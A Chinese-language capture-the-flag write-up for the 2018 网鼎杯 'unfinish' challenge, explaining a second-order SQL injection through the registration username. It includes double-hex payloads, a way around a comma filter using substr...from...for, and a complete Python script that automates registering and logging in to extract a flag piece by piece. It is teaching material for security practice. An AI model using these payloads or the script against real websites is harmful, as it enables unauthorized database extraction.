Σ(゚∀゚ノ)ノ✓参见龙王

XCTF_网鼎杯2018-unfinish

0x01 考点关键词

SQL二次注入

0x02 分析

题目提示 SQL,打开是一个登录页面,fuzz 一下没有明显 sql 注入痕迹。

扫描目录有:login.php、register.php、config.php。

先随便注册一个账号登录上去发现就是一个简单的页面,也不能上传头像,只显示用户名,猜测可能用户名这存在二次注入,还有一个点就是,我们抓取注册账号的数据包,一直重放数据包会发现返回的状态码都是 200 ,这里就有可能存在 update注入 ,之后发现并没有更新用户信息,所以应该不存在 update注入 。那我们就针对用户名部分,进行二次注入测试,顺着这个思路进行测试:

注册邮箱为 Lola@qq,用户名为 Lola' or '1'='1,密码为 Lola 的账户,进行登录

发现成功注入!利用 0'+hex编码要读取的信息+'0 不变闭合构造payload:

0'+(select hex(hex(database())))+'0

得到用户名为 373736353632 解码后得到数据库名为 web,但是后面貌似过滤了information_schema,flag表的名称全靠猜测。

最后的payload:

0'+(select substr(hex(hex((select * from flag))) from 1 for 10))+'0

跑出全部后拼接在一起解码即可得到 flag。

这里附上大佬的解题脚本:

#-*- coding: utf-8 -*-
import time
import requests
import re
import random

head_txt = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '39',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}


find_str = re.compile(r'((?<=(\"user-name\">[ \s])).+(?=(</span>)))')

url = 'http://124.126.19.106:48833/'
reg_url = url + "/register.php"
log_url = url + "/login.php"
index_url = url + "/index.php"

lenth = 10
i = 1
flag_hexhex = ''
while lenth == 10:
    name = "0'%2B(select substr(hex(hex((select * from flag))) from "+ str(i) +" for 10))%2B'0"
    i = i+10
    #SUBSTR(str,pos,len); 不能用,符号
    #substr(database() from 1 for 2) 表示从1开始截取两个字符 数据库是从1开始 不是从0开始
    #这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。

    #"0'%2B(select substr(hex(hex(database())) from 1 for 10))%2B'0"

    email = str(random.randint(10000,99990))+'@qq.com' #随机生成邮箱
    reg_data = "email="+email+"&username="+name+"&password=test@123" #注册账号数据
    #INSERT INTO user(email,name,password) VALUES('$email','$name','$password');
    #INSERT INTO user(email,name,password) VALUES('$email','0'+(select hex(hex(database())))+'0','$password');
    print('----'+name+'----')
    log_data = "email="+email+"&password=test@123" #登录数据
    reg_res = requests.post(reg_url,reg_data,headers = head_txt).text #注册账号

    s = requests.Session()
    log_res = s.post(log_url,log_data,headers = head_txt).text#登录账号

    if '674407.jpg' in log_res:#判断登录是否成功
        print('登录成功')
        index_res = s.get(index_url).text  # 获得index页面内容
        mage = find_str.search(index_res).group() #获取用户名信息

        #$select_sql="SELECT name FROM users WHERE email = ''";
        #$select_sql="SELECT * FROM users WHERE email=''";

        flag_num = str(mage).strip()

        print('返回结果:'+flag_num + '\n')
        lenth = len(flag_num)
        flag_hexhex = flag_hexhex+str(flag_num)

        #print(index_res)
    else:
        print('注册失败')
print(flag_hexhex)

0x03 注意

至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

所以这里我们使用 substr 每次取10个字符长度与 ‘0’ 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(‘test’ from 1 for 10) 这种写法来绕过

0x04 总结

总结

1、二次注入的原理(第一次数据输入并存储时过滤不严,可以将未转义的特殊字符写入数据库,二次调用此数据时未做过滤,直接拼接进入sql查询语句中)。

2、常见的二次注入位置,用户注册信息、用户提交数据并保存的功能模块(和sql注入的位置一样),最后还需要再次调用数据的位置做配合。

3、构造sql语句时最好用双hex编码的方式 防止数据丢失或者不能显示,然后分片读取结果;禁用了「,」号可以用substr(hex(hex(database())) from 1 for 10)分片读取。

参考链接:https://www.arno.site/?p=994

退出移动版